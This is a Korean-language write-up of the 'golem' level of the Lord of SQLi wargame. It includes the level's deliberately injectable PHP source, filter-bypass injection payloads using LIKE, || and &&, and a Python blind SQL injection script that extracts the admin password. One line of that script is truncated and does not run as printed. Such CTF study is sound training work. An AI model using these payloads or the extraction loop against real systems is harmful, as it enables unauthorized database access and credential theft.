Lord of SQLi - golem

> query : select id from prob_golem w here id='guest' and pw =''

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
  highlight_file(__FILE__);
?>
```

- or, and 논리연산자를 필터링하고있고 substr(와 = 연산자를 필터링하고있다.

- 결과의 pw 값과 입력받은 pw 의 값을 체크하는 것을 봐서 ***Blind SQLi*** 라는 것을 알수있다.

- LIKE연산과 ||을 이용하여 첫번째 쿼리문에서 비밀번호의 길이를 알아내자

> query : select id from prob_golem w here id='guest' and pw ='' || id LIKE 'admin' && length(pw) LIKE 8 #'

> URL : http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw =%27%20||%20id%20LIKE%20%27admin%27%20%26%26%20length(pw)%20LIKE%208%20%23

- 위의 쿼리와 URL을 통해 pw 의 길이가 8인 것을 알 수 있다.

- pw 의 길이를 8로 두고 python 코드를 작성해서 실행시켰다.

payload

```
#headers={'Host': 'los.eagle-jump.org', 'Cookie': 'PHPSESSID=vk15gvoskfe25pse40jh475fk6'}
import urllib
import urllib.request
length=8
pw=""
arr="1234567890qwertyuioplkjhgfdsazxcvbnmMNBVCXZASDFGHJKLPOIUYTREWQ"
MyHeader = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
'Accept-Encoding': 'none',
'Accept-Language': 'en-US,en;q=0.8',
'Connection': 'keep-alive'}
MyCookies = {'PHPSESSID': 'gou96ajoj5ojb4jo443qd9gqd6','_cfduid':'db874ed463a1dda475cbf0410b0e3f66c1494392708'}
for i in range(1,9):
    for j in range(0,62):
        url="http://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=' || id LIKE 'admin' %26%26 substring(pw,{0},1) LIKE '{ascii}' %23".f
        r = urllib.request.Request(url,headers=MyHeader)
        r.add_header("Cookie","PHPSESSID=ptu00rf0ggnk22t8t3gcdf9132")
        print(url)
        data = urllib.request.urlopen(r).read().decode("utf-8")
        if data.find('Hello admin') != -1 :
            pw = pw + arr[j]
            print(arr[j])
            break
print(pw)
```